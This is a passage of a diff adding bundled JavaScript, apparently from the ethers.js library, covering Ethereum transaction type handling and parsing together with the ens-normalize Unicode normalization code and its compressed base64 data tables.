this.#getSerialized(false, false); + } + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType() { + const types = this.inferTypes(); + // Prefer London (EIP-1559) over Cancun (BLOb) + if (types.indexOf(2) >= 0) { + return 2; + } + // Return the highest inferred type + return (types.pop()); + } + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes() { + // Checks that there are no conflicting properties set + const hasGasPrice = this.gasPrice != null; + const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null); + const hasAccessList = (this.accessList != null); + const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes); + //if (hasGasPrice && hasFee) { + // throw new Error("transaction cannot have gasPrice and maxFeePerGas"); + //} + if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) { + assert(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", { value: this }); + } + //if (this.type === 2 && hasGasPrice) { + // throw new Error("eip-1559 transaction cannot have gasPrice"); + //} + assert(!hasFee || (this.type !== 0 && this.type !== 1), "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", { value: this }); + assert(this.type !== 0 || !hasAccessList, "legacy transaction cannot have accessList", "BAD_DATA", { value: this }); + const types = []; + // Explicit type + if (this.type != null) { + types.push(this.type); + } + else { + if (this.authorizationList && this.authorizationList.length) { + types.push(4); + } + else if (hasFee) { + types.push(2); + } + else if (hasGasPrice) { + types.push(1); + if (!hasAccessList) { + types.push(0); + } + } + else if (hasAccessList) { + types.push(1); + types.push(2); + } + else if (hasBlob && this.to) { + types.push(3); + } + else { + types.push(0); + types.push(1); + types.push(2); + types.push(3); + } + } + types.sort(); + return types; + } + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun() { + return (this.type === 3); + } + /** + * Create a copy of this transaciton. + */ + clone() { + return Transaction.from(this); + } + /** + * Return a JSON-friendly object. + */ + toJSON() { + const s = (v) => { + if (v == null) { + return null; + } + return v.toString(); + }; + return { + type: this.type, + to: this.to, + // from: this.from, + data: this.data, + nonce: this.nonce, + gasLimit: s(this.gasLimit), + gasPrice: s(this.gasPrice), + maxPriorityFeePerGas: s(this.maxPriorityFeePerGas), + maxFeePerGas: s(this.maxFeePerGas), + value: s(this.value), + chainId: s(this.chainId), + sig: this.signature ? this.signature.toJSON() : null, + accessList: this.accessList + }; + } + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx) { + if (tx == null) { + return new Transaction(); + } + if (typeof (tx) === "string") { + const payload = getBytes(tx); + if (payload[0] >= 0x7f) { // @TODO: > vs >= ?? + return Transaction.from(_parseLegacy(payload)); + } + switch (payload[0]) { + case 1: return Transaction.from(_parseEip2930(payload)); + case 2: return Transaction.from(_parseEip1559(payload)); + case 3: return Transaction.from(_parseEip4844(payload)); + case 4: return Transaction.from(_parseEip7702(payload)); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: "from" }); + } + const result = new Transaction(); + if (tx.type != null) { + result.type = tx.type; + } + if (tx.to != null) { + result.to = tx.to; + } + if (tx.nonce != null) { + result.nonce = tx.nonce; + } + if (tx.gasLimit != null) { + result.gasLimit = tx.gasLimit; + } + if (tx.gasPrice != null) { + result.gasPrice = tx.gasPrice; + } + if (tx.maxPriorityFeePerGas != null) { + result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas; + } + if (tx.maxFeePerGas != null) { + result.maxFeePerGas = tx.maxFeePerGas; + } + if (tx.maxFeePerBlobGas != null) { + result.maxFeePerBlobGas = tx.maxFeePerBlobGas; + } + if (tx.data != null) { + result.data = tx.data; + } + if (tx.value != null) { + result.value = tx.value; + } + if (tx.chainId != null) { + result.chainId = tx.chainId; + } + if (tx.signature != null) { + result.signature = Signature.from(tx.signature); + } + if (tx.accessList != null) { + result.accessList = tx.accessList; + } + if (tx.authorizationList != null) { + result.authorizationList = tx.authorizationList; + } + // This will get overwritten by blobs, if present + if (tx.blobVersionedHashes != null) { + result.blobVersionedHashes = tx.blobVersionedHashes; + } + // Make sure we assign the kzg before assigning blobs, which + // require the library in the event raw blob data is provided. + if (tx.kzg != null) { + result.kzg = tx.kzg; + } + if (tx.blobs != null) { + result.blobs = tx.blobs; + } + if (tx.hash != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.hash'", "tx", tx); + assertArgument(result.hash === tx.hash, "hash mismatch", "tx", tx); + } + if (tx.from != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.from'", "tx", tx); + assertArgument(result.from.toLowerCase() === (tx.from || "").toLowerCase(), "from mismatch", "tx", tx); + } + return result; + } + } + + /** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ + function hashAuthorization(auth) { + assertArgument(typeof (auth.address) === "string", "invalid address for hashAuthorization", "auth.address", auth); + return keccak256(concat([ + "0x05", encodeRlp([ + (auth.chainId != null) ? toBeArray(auth.chainId) : "0x", + getAddress(auth.address), + (auth.nonce != null) ? toBeArray(auth.nonce) : "0x", + ]) + ])); + } + /** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ + function verifyAuthorization(auth, sig) { + return recoverAddress(hashAuthorization(auth), sig); + } + + /** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ + function id(value) { + return keccak256(toUtf8Bytes(value)); + } + + // created 2023-09-25T01:01:55.148Z + // compressed base64-encoded blob for include-ens data + // source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js + // see: https://github.com/adraffy/ens-normalize.js#security + // SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 + var COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/c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0pzY4SipwE0SXXsKV+GZraGSkr/RW08wPRvqvSUkYBMA9lPx4m24az+IHmCbXA+0faxTRE9wuGeO06DIXa6QlKJ3puIyiuAVfPr736vzo2pBirS+Vxel3TMm3JKhz9o2ZoRvaFVpIkykb0Hcm4oHFBMcNSNj7/4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; + const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); + const NSM_MAX = 4; + + function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); + } + + // returns an iterator which returns the next symbol + function read_payload(v) { + let pos = 0; + return () => v[pos++]; + } + function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); + } + + // unsafe in the sense: + // expected well-formed Base64 w/o padding + // 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 + function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; + } + + // eg. [0,1,2,3...] => [0,-1,1,-2,...] + function signed(i) { + return (i & 1) ? (~i >> 1) : (i >> 1); + } + + function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; + } + + // [123][5] => [0 3] [1 1] [0 0] + function read_sorted(next, prev = 0) { + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; + } + + function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); + } + + // returns map of x => ys + function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); + } + + // read until next is falsy + // return array of read values + function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; + } + + // read w columns of length n + // return as n rows of length w + function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; + } + + // returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] + // where dx/dy = steps, n = run size, w = length of y + function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); + } + + // return [[x, ys...], ...] + // where w = length of y + function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); + } + + + function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } + } + + function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); + } + + function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" + } + + /* + export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); + } + */ + function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; + } + + function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); + } + + function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; + } + + // created 2023-09-25T01:01:55.148Z + // compressed base64-encoded blob for include-nf data + // source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js + // see: https://github.com/adraffy/ens-normalize.js#security + // SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e + var COMPRESSED = 'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAA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Js6ETYmnpgS3LwSZxPIltgBDXz8M1k/W2ySNv2f9/NPhxLGK2D21dkHeSGmenRT3Yqcdl0m/h3OYr8V+lXNYGf8aCCpd4bWjE4QIPj7vUKN4Nrfs7ML6Y2OyS830JCnofg/k7lpFpt4SqZc5HGg1HCOrHvOdC8bP6FGDbE/VV0mX4IakzbdS/op+Kt3G24/8QbBV7y86sGSQ/vZzU8FXs7u6jIvwchsEP2BpIhW3G8uWNwa3HmjfH/ZjhhCWvluAcF+nMf14ClKg5hGgtPLJ98ueNAkc5Hs2WZlk2QHvfreCK1CCGO6nMZVSb99VM/ajr8WHTte9JSmkXq/i/U943HEbdzW6Re/S88dKgg8pGOLlAeNiqrcLkUR3/aClFpMXcOUP3rmETcWSfMXZE3TUOi8i+fqRnTYLflVx/Vb/6GJ7eIRZUA6k3RYR3iFSK9c4iDdNwJuZL2FKz/IK5VimcNWEqdXjSoxSgmF0UPlDoUlNrPcM7ftmA8Y9gKiqKEHuWN+AZRIwtVSxye2Kf8rM3lhJ5XcBXU9n4v0Oy1RU2M+4qM8AQPVwse8ErNSob5oFPWxuqZnVzo1qB/IBxkM3EVUKFUUlO3e51259GgNcJbCmlvrdjtoTW7rChm1wyCKzpCTwozUUEOIcWLneRLgMXh+SjGSFkAllzbGS5HK7LlfCMRNRDSvbQPjcXaenNYxCvu2Qyznz6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g'; + + // https://unicode.org/reports/tr15/ + // for reference implementation + // see: /derive/nf.js + + + // algorithmic hangul + // https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144) + const S0 = 0xAC00; + const L0 = 0x1100; + const V0 = 0x1161; + const T0 = 0x11A7; + const L_COUNT = 19; + const V_COUNT = 21; + const T_COUNT = 28; + const N_COUNT = V_COUNT * T_COUNT; + const S_COUNT = L_COUNT * N_COUNT; + const S1 = S0 + S_COUNT; + const L1 = L0 + L_COUNT; + const V1 = V0 + V_COUNT; + const T1$1 = T0 + T_COUNT; + + function unpack_cc(packed) { + return (packed >> 24) & 0xFF; + } + function unpack_cp(packed) { + return packed & 0xFFFFFF; + } + + let SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP; + + function init$1() { + //console.time('nf'); + let r = read_compressed_payload(COMPRESSED); + SHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted + EXCLUSIONS = new Set(read_sorted(r)); + DECOMP = new Map(); + RECOMP = new Map(); + for (let [cp, cps] of read_mapped(r)) { + if (!EXCLUSIONS.has(cp) && cps.length == 2) { + let [a, b] = cps; + let bucket = RECOMP.get(a); + if (!bucket) { + bucket = new Map(); + RECOMP.set(a, bucket); + } + bucket.set(b, cp); + } + DECOMP.set(cp, cps.reverse()); // stored reversed + } + //console.timeEnd('nf'); + // 20230905: 11ms + } + + function is_hangul(cp) { + return cp >= S0 && cp < S1; + } + + function compose_pair(a, b) { + if (a >= L0 && a < L1 && b >= V0 && b < V1) { + return S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT; + } else if (is_hangul(a) && b > T0 && b < T1$1 && (a - S0) % T_COUNT == 0) { + return a + (b - T0); + } else { + let recomp = RECOMP.get(a); + if (recomp) { + recomp = recomp.get(b); + if (recomp) { + return recomp; + } + } + return -1; + } + } + + function decomposed(cps) { + if (!SHIFTED_RANK) init$1(); + let ret = []; + let buf = []; + let check_order = false; + function add(cp) { + let cc = SHIFTED_RANK.get(cp); + if (cc) { + check_order = true; + cp |= cc; + } + ret.push(cp); + } + for (let cp of cps) { + while (true) { + if (cp < 0x80) { + ret.push(cp); + } else if (is_hangul(cp)) { + let s_index = cp - S0; + let l_index = s_index / N_COUNT | 0; + let v_index = (s_index % N_COUNT) / T_COUNT | 0; + let t_index = s_index % T_COUNT; + add(L0 + l_index); + add(V0 + v_index); + if (t_index > 0) add(T0 + t_index); + } else { + let mapped = DECOMP.get(cp); + if (mapped) { + buf.push(...mapped); + } else { + add(cp); + } + } + if (!buf.length) break; + cp = buf.pop(); + } + } + if (check_order && ret.length > 1) { + let prev_cc = unpack_cc(ret[0]); + for (let i = 1; i < ret.length; i++) { + let cc = unpack_cc(ret[i]); + if (cc == 0 || prev_cc <= cc) { + prev_cc = cc; + continue; + } + let j = i-1; + while (true) { + let tmp = ret[j+1]; + ret[j+1] = ret[j]; + ret[j] = tmp; + if (!j) break; + prev_cc = unpack_cc(ret[--j]); + if (prev_cc <= cc) break; + } + prev_cc = unpack_cc(ret[i]); + } + } + return ret; + } + + function composed_from_decomposed(v) { + let ret = []; + let stack = []; + let prev_cp = -1; + let prev_cc = 0; + for (let packed of v) { + let cc = unpack_cc(packed); + let cp = unpack_cp(packed); + if (prev_cp == -1) { + if (cc == 0) { + prev_cp = cp; + } else { + ret.push(cp); + } + } else if (prev_cc > 0 && prev_cc >= cc) { + if (cc == 0) { + ret.push(prev_cp, ...stack); + stack.length = 0; + prev_cp = cp; + } else { + stack.push(cp); + } + prev_cc = cc; + } else { + let composed = compose_pair(prev_cp, cp); + if (composed >= 0) { + prev_cp = composed; + } else if (prev_cc == 0 && cc == 0) { + ret.push(prev_cp); + prev_cp = cp; + } else { + stack.push(cp); + prev_cc = cc; + } + } + } + if (prev_cp >= 0) { + ret.push(prev_cp, ...stack); + } + return ret; + } + + // note: cps can be iterable + function nfd(cps) { + return decomposed(cps).map(unpack_cp); + } + function nfc(cps) { + return composed_from_decomposed(decomposed(cps)); + } + + const HYPHEN = 0x2D; + const STOP_CH = '.'; + const FE0F = 0xFE0F; + const UNIQUE_PH = 1; + + // 20230913: replace [...v] with Array_from(v) to avoid large spreads + const Array_from = x => Array.from(x); // Array.from.bind(Array); + + function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); + } + + class Emoji extends Array { + get is_emoji() { return true; } // free tagging system + } + + let MAPPED, IGNORED, CM, NSM, ESCAPE, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + + function init() { + if (MAPPED) return; + + let r = read_compressed_payload(COMPRESSED$1); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } + } + + // if escaped: {HEX} + // else: "x" {HEX} + function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); + } + + // 20230211: some messages can be mixed-directional and result in spillover + // use 200E after a quoted string to force the remainder of a string from + // acquring the direction of the quote + // https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions + function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR + } + + function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } + } + function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } + } + // check that a fenced cp is not leading, trailing, or touching another fenced cp + function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); + } + + // create a safe to print string + // invisibles are escaped + // leading cm uses placeholder + // if cps exceed max, middle truncate with ellipsis + // quoter(cp) => string, eg. 3000 => "{3000}" + // note: in html, you'd call this function then replace [<>&] with entities + function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); + } + + // note: set(s) cannot be exposed because they can be modified + // note: Object.freeze() doesn't work + function is_combining_mark(cp) { + init(); + return CM.has(cp); + } + function should_escape(cp) { + init(); + return ESCAPE.has(cp); + } + + function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); + } + + function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // 